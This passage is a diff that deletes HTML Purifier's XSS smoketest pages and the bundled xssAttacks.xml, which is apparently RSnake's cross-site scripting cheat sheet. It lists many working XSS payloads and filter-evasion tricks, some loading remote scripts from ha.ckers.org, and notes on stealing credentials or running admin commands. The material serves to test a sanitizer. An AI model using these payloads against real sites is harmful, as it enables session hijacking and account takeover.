a/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php +++ /dev/null @@ -1,57 +0,0 @@ -'; -?> - - - HTML Purifier Variable Width Attack Smoketest - - - -

    HTML Purifier Variable Width Attack Smoketest

    -

    For more information, see -Cheng Peng Su's -original advisory. This particular exploit code appears only to work -in Internet Explorer, if it works at all.

    -

    Test

    - - - - -A"'; // in our out the attribute? ;-) - $html .= "onerror=alert('$i')>O"; - $pure_html = $purifier->purify($html); -?> - - - - - - - - -
    ASCIIRawOutputRender
    - -

    Analysis

    - -

    By making sure that UTF-8 is well formed and non-SGML codepoints are -removed, as well as escaping quotes outside of tags, this is a non-threat.

    - - - -\t', '»', '\0'), - escapeHTML( - str_replace("\0", '\0(null)', - wordwrap($string, 28, " »\n", true) - ) - ) - ); -} - -?> - - - HTML Purifier XSS Attacks Smoketest - - - - -

    HTML Purifier XSS Attacks Smoketest

    -

    XSS attacks are from -http://ha.ckers.org/xss.html.

    -

    Caveats: -Google.com has been programatically disallowed, but as you can -see, there are ways of getting around that, so coverage in this area -is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. -The displayed code is not strictly correct, as linebreaks have been forced for -readability. Linewraps have been marked with ». Some tests are -omitted for your convenience. Not all control characters are displayed.

    - -

    Test

    -Requires PHP 5.

    '); - -$xml = simplexml_load_file('xssAttacks.xml'); - -// programatically disallow google.com for URI evasion tests -// not complete -$config = HTMLPurifier_Config::createDefault(); -$config->set('URI.HostBlacklist', array('google.com')); -$purifier = new HTMLPurifier($config); - -?> - - - -attack as $attack) { - $code = $attack->code; - - // custom code for null byte injection tests - if (substr($code, 0, 7) == 'perl -e') { - $code = substr($code, $i=strpos($code, '"')+1, strrpos($code, '"') - $i); - $code = str_replace('\0', "\0", $code); - } - - // disable vectors we cannot test in any meaningful way - if ($code == 'See Below') continue; // event handlers, whitelist defeats - if ($attack->name == 'OBJECT w/Flash 2') continue; // requires ActionScript - if ($attack->name == 'IMG Embedded commands 2') continue; // is an HTTP response - - // custom code for US-ASCII, which couldn't be expressed in XML without encoding - if ($attack->name == 'US-ASCII encoding') $code = urldecode($code); -?> - > - - - purify($code); ?> - - - - - -
    NameRawOutputRender
    name); ?>
    - - - - - - XSS Locator - ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} - - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - XSS Quick Test - '';!--"<XSS>=&{()} - If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Alert() - <SCRIPT>alert('XSS')</SCRIPT> - Basic injection attack - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Source File - <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> - No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Char Code - <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BASE - <BASE HREF="javascript:alert('XSS');//"> - Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - BGSOUND - <BGSOUND SRC="javascript:alert('XSS');"> - BGSOUND - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BODY background-image - <BODY BACKGROUND="javascript:alert('XSS');"> - BODY image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BODY ONLOAD - <BODY ONLOAD=alert('XSS')> - BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - DIV background-image 1 - <DIV STYLE="background-image: url(javascript:alert('XSS'))"> - Div background-image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - DIV background-image 2 - <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> - Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - DIV expression - <DIV STYLE="width: expression(alert('XSS'));"> - Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - FRAME - <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> - Frame (Frames have the same sorts of XSS problems as iframes). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IFRAME - <IFRAME SRC="javascript:alert('XSS');"></IFRAME> - Iframe (If iframes are allowed there are a lot of other XSS problems as well). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - INPUT Image - <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> - INPUT Image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG w/JavaScript Directive - <IMG SRC="javascript:alert('XSS');"> - Image XSS using the JavaScript directive. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG No Quotes/Semicolon - <IMG SRC=javascript:alert('XSS')> - No quotes and no semicolon - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG Dynsrc - <IMG DYNSRC="javascript:alert('XSS');"> - IMG Dynsrc - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG Lowsrc - <IMG LOWSRC="javascript:alert('XSS');"> - IMG Lowsrc - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG Embedded commands 1 - <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> - This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG Embedded commands 2 - Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser - IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG STYLE w/expression - exp/*<XSS STYLE='no\xss:noxss("*//*"); -xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> - - IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - List-style-image - <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS - - Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG w/VBscript - <IMG SRC='vbscript:msgbox("XSS")'> - VBscript in an image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - LAYER - <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> - Layer (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - Livescript - <IMG SRC="livescript:[code]"> - Livescript (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - US-ASCII encoding - %BCscript%BEalert(%A2XSS%A2)%BC/script%BE - Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] - - - - META - <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - META w/data:URL - <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> - This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - META w/additional URL parameter - <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> - Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Mocha - <IMG SRC="mocha:[code]"> - Mocha (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - OBJECT - <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> - If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - OBJECT w/Embedded XSS - <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> - Using an OBJECT tag you can embed XSS directly (this is unverified). - - - Browser support: - - - Embed Flash - <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> - - Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - OBJECT w/Flash 2 - a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); - - Using this action script inside flash can obfuscate your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - STYLE - <STYLE TYPE="text/javascript">alert('XSS');</STYLE> - STYLE tag (Older versions of Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - STYLE w/Comment - <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> - STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/Anonymous HTML - <XSS STYLE="xss:expression(alert('XSS'))"> - Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/background-image - <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> - - STYLE tag using background-image. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/background - <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> - - STYLE tag using background. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Stylesheet - <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - Stylesheet - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 1 - <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> - Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 2 - <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> - Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 3 - <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> - Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 4 - <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> - Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - TABLE - <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> - Table background (who would have thought tables were XSS targets... except me, of course). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - TD - <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> - TD background. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - XML namespace - <HTML xmlns:xss> -<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> -<xss:xss>XSS</xss:xss> - -</HTML> - XML namespace. The .htc file must be located on the server as your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML data island w/CDATA - <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> - -</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> - XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML data island w/comment - <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> - -<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> - XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML (locally hosted) - <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> -<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> - - Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML HTML+TIME - <HTML><BODY> -<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> - -<?import namespace="t" implementation="#default#time2"> -<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> - - HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Commented-out Block - <!--[if gte IE 4]> -<SCRIPT>alert('XSS');</SCRIPT> -<![endif]--> - - Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Cookie Manipulation - <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> - - Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Local .htc file - <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> - This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Rename .js to .jpg - <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> - Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SSI - <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> - - SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - PHP - <? echo('<SCR)'; -echo('IPT>alert("XSS")</SCRIPT>'); ?> - - PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - JavaScript Includes - <BR SIZE="&{alert('XSS')}"> - &JavaScript includes (works in Netscape 4.x). - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - Character Encoding Example - < -%3C -&lt -&lt; -&LT -&LT; -&#60 -&#060 -&#0060 - -&#00060 -&#000060 -&#0000060 -&#60; -&#060; -&#0060; -&#00060; -&#000060; -&#0000060; -&#x3c -&#x03c -&#x003c -&#x0003c -&#x00003c -&#x000003c -&#x3c; -&#x03c; - -&#x003c; -&#x0003c; -&#x00003c; -&#x000003c; -&#X3c -&#X03c -&#X003c -&#X0003c -&#X00003c -&#X000003c -&#X3c; -&#X03c; -&#X003c; -&#X0003c; -&#X00003c; -&#X000003c; -&#x3C - -&#x03C -&#x003C -&#x0003C -&#x00003C -&#x000003C -&#x3C; -&#x03C; -&#x003C; -&#x0003C; -&#x00003C; -&#x000003C; -&#X3C -&#X03C -&#X003C -&#X0003C -&#X00003C -&#X000003C - -&#X3C; -&#X03C; -&#X003C; -&#X0003C; -&#X00003C; -&#X000003C; -\x3c -\x3C -\u003c -\u003C - All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). - - - Browser support: - - - Case Insensitive - <IMG SRC=JaVaScRiPt:alert('XSS')> - Case insensitive XSS attack vector. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - HTML Entities - <IMG SRC=javascript:alert(&quot;XSS&quot;)> - HTML entities (the semicolons are required for this to work). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Grave Accents - <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> - Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Image w/CharCode - <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> - If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - UTF-8 Unicode Encoding - <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> - - UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Long UTF-8 Unicode w/out Semicolons - <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> - - Long UTF-8 Unicode 